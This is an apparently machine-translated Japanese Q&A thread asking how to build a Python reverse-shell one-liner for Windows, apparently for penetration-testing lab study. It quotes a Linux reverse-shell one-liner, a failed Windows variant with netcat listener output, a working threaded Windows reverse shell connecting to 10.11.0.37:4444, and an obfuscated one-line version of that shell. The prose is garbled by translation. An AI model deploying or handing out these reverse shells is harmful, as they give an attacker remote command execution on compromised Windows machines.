Pythonのウィンドウリバースシェルの1つのライナー

Question

誰でも、WindowsのためのPythonリバースシェルの1ライナー（窓一直線にする必要があります）私を助けることができます。

何度も使用していたLinux用のものを修正しようとしていますが、これは初めてのWindowsです。

Linuxの1つのライナー：Reverse Shell Cheat Sheetから撮影

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' 

。だからここ

は、私がこれまで行うことができたものです：

C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\\WINDOWS\\system32\\cmd.exe','-i']);" 

まあ、事は私が戻ってちょうどシェルが死ぬという接続を得るかです。誰でもこの問題を解決する方法や提案を知っていますか？

nc -lvnp 443 
listening on [any] 443 ... 
connect to [10.11.0.232] from (UNKNOWN) [10.11.1.31] 1036 

のでsubprocess callへのパラメータが間違っていなければなりません。私はそれを正しくするように見えることはできません。

cmd.exeへのパスが正しいです。​​には-iのような対応するパラメータはありません。

誰でも正しい方向に私を向けることができますか？

EDIT：サブプロセス呼び出しの引き数なしで試しても同じ結果が試されます。すぐに接続が切断されます。

socket.fileno()ため documentationから

C:\Python26\python.exe -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.11.0.232',443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(['C:\WINDOWS\system32\cmd.exe']);" 

Answer 1

：

Windowsではファイルディスクリプタは、（例えば）（os.fdopenとして）使用できる場合、このメソッドによって返された小さな整数を使用することはできません。 Unixにはこの制限はありません。

私はあなたがCygwinを使用していない限り、あなたがWindows上socket.fileno()の戻り値にos.dup2()を使用することができるとは思いません。

複数のステートメントでwhileループが必要なため、Windowsで1ライナーとして実行することはできません。

Answer 2

（@rockstar：！私はあなたと私は同じことを勉強していると思う）

ない1つのライナーが、デビッド・カレンの答えから学ぶ、私は一緒にWindows用のこの逆のシェルを置きます。あなたは1つのライナーを展開する方法に応じて

import os,socket,subprocess,threading; 
def s2p(s, p): 
    while True: 
     data = s.recv(1024) 
     if len(data) > 0: 
      p.stdin.write(data) 

def p2s(s, p): 
    while True: 
     s.send(p.stdout.read(1)) 

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) 
s.connect(("10.11.0.37",4444)) 

p=subprocess.Popen(["\\windows\\system32\\cmd.exe"], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE) 

s2p_thread = threading.Thread(target=s2p, args=[s, p]) 
s2p_thread.daemon = True 
s2p_thread.start() 

p2s_thread = threading.Thread(target=p2s, args=[s, p]) 
p2s_thread.daemon = True 
p2s_thread.start() 

try: 
    p.wait() 
except KeyboardInterrupt: 
    s.close() 

誰もが単一の行にこれをダウン凝縮することができた場合は、私の投稿を編集したり、独自の答えにこれを適応すること自由に感じなさい...

Answer 3

、あなたは可能次のコードに示すように、python.exeへのパスを指定する必要があります。私はこの助けを願っている。

C:\Python27\python.exe -c "(lambda __y, __g, __contextlib: [[[[[[[(s.connect(('10.11.0.37', 4444)), [[[(s2p_thread.start(), [[(p2s_thread.start(), (lambda __out: (lambda __ctx: [__ctx.__enter__(), __ctx.__exit__(None, None, None), __out[0](lambda: None)][2])(__contextlib.nested(type('except',(), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: __exctype is not None and (issubclass(__exctype, KeyboardInterrupt) and [True for __out[0] in [((s.close(), lambda after: after())[1])]][0])})(), type('try',(), {'__enter__': lambda self: None, '__exit__': lambda __self, __exctype, __value, __traceback: [False for __out[0] in [((p.wait(), (lambda __after: __after()))[1])]][0]})())))([None]))[1] for p2s_thread.daemon in [(True)]][0] for __g['p2s_thread'] in [(threading.Thread(target=p2s, args=[s, p]))]][0])[1] for s2p_thread.daemon in [(True)]][0] for __g['s2p_thread'] in [(threading.Thread(target=s2p, args=[s, p]))]][0] for __g['p'] in [(subprocess.Popen(['\\windows\\system32\\cmd.exe'], stdout=subprocess.PIPE, stderr=subprocess.STDOUT, stdin=subprocess.PIPE))]][0])[1] for __g['s'] in [(socket.socket(socket.AF_INET, socket.SOCK_STREAM))]][0] for __g['p2s'], p2s.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: (__l['s'].send(__l['p'].stdout.read(1)), __this())[1] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 'p2s')]][0] for __g['s2p'], s2p.__name__ in [(lambda s, p: (lambda __l: [(lambda __after: __y(lambda __this: lambda: [(lambda __after: (__l['p'].stdin.write(__l['data']), __after())[1] if (len(__l['data']) > 0) else __after())(lambda: __this()) for __l['data'] in [(__l['s'].recv(1024))]][0] if True else __after())())(lambda: None) for __l['s'], __l['p'] in [(s, p)]][0])({}), 's2p')]][0] for __g['os'] in [(__import__('os', __g, __g))]][0] for __g['socket'] in [(__import__('socket', __g, __g))]][0] for __g['subprocess'] in [(__import__('subprocess', __g, __g))]][0] for __g['threading'] in [(__import__('threading', __g, __g))]][0])((lambda f: (lambda x: x(x))(lambda y: f(lambda: y(y)()))), globals(), __import__('contextlib'))"